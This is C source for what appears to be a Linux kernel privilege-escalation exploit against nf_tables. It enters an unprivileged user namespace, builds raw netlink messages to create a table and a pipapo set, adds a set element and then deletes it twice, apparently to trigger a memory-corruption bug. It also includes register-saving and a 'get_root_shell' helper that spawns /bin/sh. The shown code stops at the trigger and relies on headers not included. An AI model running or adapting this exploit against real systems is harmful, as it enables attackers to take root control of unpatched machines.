#define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/ioctl.h> #include <unistd.h> #include <sched.h> #include <sys/types.h> #include <linux/keyctl.h>
size_t user_cs, user_ss, user_rflags, user_sp; void save_status() { asm volatile ( "mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); puts("\033[34m\033[1m[*] Status has been saved.\033[0m"); }
void get_root_shell(){ printf("now pid == %p\n", getpid()); system("/bin/sh"); }
void bindCore(int core) { cpu_set_t cpu_set;
CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); }
#include <sys/mman.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <arpa/inet.h> #include <net/if.h> #include <netinet/if_ether.h>
void err_exit(char *s){ perror(s); exit(-1); } void unshare_setup(void) { char edit[0x100]; int tmp_fd;
if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) err_exit("FAILED to create a new namespace");
tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); }
#include <sys/socket.h> #include <linux/netlink.h>
#include <stdlib.h> #include <stdio.h> #include <stdint.h> #include <unistd.h> #include <linux/netfilter.h> #include <linux/netfilter/nfnetlink.h> #include <linux/netfilter/nf_tables.h> #include <string.h> #include <sys/socket.h> #include <linux/netlink.h> #include <string.h>
#include "netlink.h" #include "nf_tables.h" #include "log.h"
const uint8_t zerobuf[0x40] = {0};
void create_table(int sock, const char *name) { struct msghdr msg; struct sockaddr_nl dest_snl; struct iovec iov[3]; struct nlmsghdr *nlh_batch_begin; struct nlmsghdr *nlh; struct nlmsghdr *nlh_batch_end; struct nlattr *attr; struct nfgenmsg *nfm;
memset(&dest_snl, 0, sizeof(dest_snl)); dest_snl.nl_family = AF_NETLINK; memset(&msg, 0, sizeof(msg));
nlh_batch_begin = get_batch_begin_nlmsg();
nlh = (struct nlmsghdr *)malloc(TABLEMSG_SIZE); if (!nlh) do_error_exit("malloc");
memset(nlh, 0, TABLEMSG_SIZE); nlh->nlmsg_len = TABLEMSG_SIZE; nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWTABLE; nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST; nlh->nlmsg_seq = 0;
nfm = NLMSG_DATA(nlh); nfm->nfgen_family = NFPROTO_INET;
attr = (void *)nlh + NLMSG_SPACE(sizeof(struct nfgenmsg)); set_str8_attr(attr, NFTA_TABLE_NAME, name);
nlh_batch_end = get_batch_end_nlmsg();
memset(iov, 0, sizeof(struct iovec) * 3); iov[0].iov_base = (void *)nlh_batch_begin; iov[0].iov_len = nlh_batch_begin->nlmsg_len; iov[1].iov_base = (void *)nlh; iov[1].iov_len = nlh->nlmsg_len; iov[2].iov_base = (void *)nlh_batch_end; iov[2].iov_len = nlh_batch_end->nlmsg_len;
msg.msg_name = (void *)&dest_snl; msg.msg_namelen = sizeof(struct sockaddr_nl); msg.msg_iov = iov; msg.msg_iovlen = 3;
sendmsg(sock, &msg, 0);
free(nlh_batch_end); free(nlh); free(nlh_batch_begin); }
void create_pipapo_set(int sock){ struct msghdr msg; struct sockaddr_nl dest_snl; struct iovec iov[0x100]; struct nlmsghdr *nlh_batch_begin; struct nlmsghdr *nlh_batch_end; struct nlattr *attr; struct nfgenmsg *nfm;
memset(&dest_snl, 0, sizeof(dest_snl)); dest_snl.nl_family = AF_NETLINK; memset(&msg, 0, sizeof(msg));
nlh_batch_begin = get_batch_begin_nlmsg();
int pay1_size = 100; int nlh1_size = NLMSG_SPACE(pay1_size);
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); memset(nlh1, 0, nlh1_size); nlh1->nlmsg_len = nlh1_size; nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET; nlh1->nlmsg_pid = getpid(); nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE; nlh1->nlmsg_seq = 0;
uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,64,64,8,0,10,0,0,0,0,0,8,0,5,0,0,0,0,64,8,0,3,0,0,0,0,196,8,0,15,0,0,0,0,9,8,0,7,0,0,0,0,16,32,0,9,0,28,0,2,0,12,0,1,0,8,0,1,0,0,0,0,2,12,0,1,0,8,0,1,0,0,0,0,2}; memcpy((void *)nlh1+0x10, msgcon1, pay1_size);
nlh_batch_end = get_batch_end_nlmsg();
memset(iov, 0, sizeof(iov)); int tot_iov = 0; iov[tot_iov].iov_base = (void *)nlh_batch_begin; iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len; iov[tot_iov].iov_base = nlh1; iov[tot_iov++].iov_len = nlh1->nlmsg_len; iov[tot_iov].iov_base = (void *)nlh_batch_end; iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;
msg.msg_name = (void *)&dest_snl; msg.msg_namelen = sizeof(struct sockaddr_nl); msg.msg_iov = iov; msg.msg_iovlen = tot_iov;
sendmsg(sock, &msg, 0);
free(nlh_batch_end); free(nlh1); free(nlh_batch_begin); }
void add_set_elem(int sock){ struct msghdr msg; struct sockaddr_nl dest_snl; struct iovec iov[0x100]; struct nlmsghdr *nlh_batch_begin; struct nlmsghdr *nlh_batch_end; struct nlattr *attr; struct nfgenmsg *nfm;
memset(&dest_snl, 0, sizeof(dest_snl)); dest_snl.nl_family = AF_NETLINK; memset(&msg, 0, sizeof(msg));
nlh_batch_begin = get_batch_begin_nlmsg();
int pay1_size = 108; int nlh1_size = NLMSG_SPACE(pay1_size);
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); memset(nlh1, 0, nlh1_size); nlh1->nlmsg_len = nlh1_size; nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM; nlh1->nlmsg_pid = getpid(); nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE; nlh1->nlmsg_seq = 0;
uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,64,64,80,0,3,0,76,0,0,0,72,0,1,0,68,0,1,0,97,97,97,97,97,97,97,97,98,98,98,98,98,98,98,98,99,99,99,99,99,99,99,99,100,100,100,100,100,100,100,100,101,101,101,101,101,101,101,101,102,102,102,102,102,102,102,102,49,49,49,49,49,49,49,49,50,50,50,50,50,50,50,50}; memcpy((void *)nlh1+0x10, msgcon1, pay1_size);
nlh_batch_end = get_batch_end_nlmsg();
memset(iov, 0, sizeof(iov)); int tot_iov = 0; iov[tot_iov].iov_base = (void *)nlh_batch_begin; iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len; iov[tot_iov].iov_base = nlh1; iov[tot_iov++].iov_len = nlh1->nlmsg_len; iov[tot_iov].iov_base = (void *)nlh_batch_end; iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;
msg.msg_name = (void *)&dest_snl; msg.msg_namelen = sizeof(struct sockaddr_nl); msg.msg_iov = iov; msg.msg_iovlen = tot_iov;
sendmsg(sock, &msg, 0);
free(nlh_batch_end); free(nlh1); free(nlh_batch_begin);
}
void del_set_elem(int sock){ struct msghdr msg; struct sockaddr_nl dest_snl; struct iovec iov[0x100]; struct nlmsghdr *nlh_batch_begin; struct nlmsghdr *nlh_batch_end; struct nlattr *attr; struct nfgenmsg *nfm;
memset(&dest_snl, 0, sizeof(dest_snl)); dest_snl.nl_family = AF_NETLINK; memset(&msg, 0, sizeof(msg));
nlh_batch_begin = get_batch_begin_nlmsg();
int pay1_size = 108; int nlh1_size = NLMSG_SPACE(pay1_size);
struct nlmsghdr *nlh1 = (struct nlmsghdr *)malloc(nlh1_size); memset(nlh1, 0, nlh1_size); nlh1->nlmsg_len = nlh1_size; nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELSETELEM; nlh1->nlmsg_pid = getpid(); nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE; nlh1->nlmsg_seq = 0;
uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,64,64,80,0,3,0,76,0,0,0,72,0,1,0,68,0,1,0,97,97,97,97,97,97,97,97,98,98,98,98,98,98,98,98,99,99,99,99,99,99,99,99,100,100,100,100,100,100,100,100,101,101,101,101,101,101,101,101,102,102,102,102,102,102,102,102,49,49,49,49,49,49,49,49,50,50,50,50,50,50,50,50}; memcpy((void *)nlh1+0x10, msgcon1, pay1_size);
nlh_batch_end = get_batch_end_nlmsg();
memset(iov, 0, sizeof(iov)); int tot_iov = 0; iov[tot_iov].iov_base = (void *)nlh_batch_begin; iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len; iov[tot_iov].iov_base = nlh1; iov[tot_iov++].iov_len = nlh1->nlmsg_len; iov[tot_iov].iov_base = (void *)nlh_batch_end; iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;
msg.msg_name = (void *)&dest_snl; msg.msg_namelen = sizeof(struct sockaddr_nl); msg.msg_iov = iov; msg.msg_iovlen = tot_iov;
sendmsg(sock, &msg, 0);
free(nlh_batch_end); free(nlh1); free(nlh_batch_begin);
}
int main(){ save_status(); bindCore(0); unshare_setup();
int sock; if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) { perror("socket"); } printf("[+] Netlink socket created\n");
create_table(sock, "my_table"); create_pipapo_set(sock); add_set_elem(sock); del_set_elem(sock); del_set_elem(sock);
}
|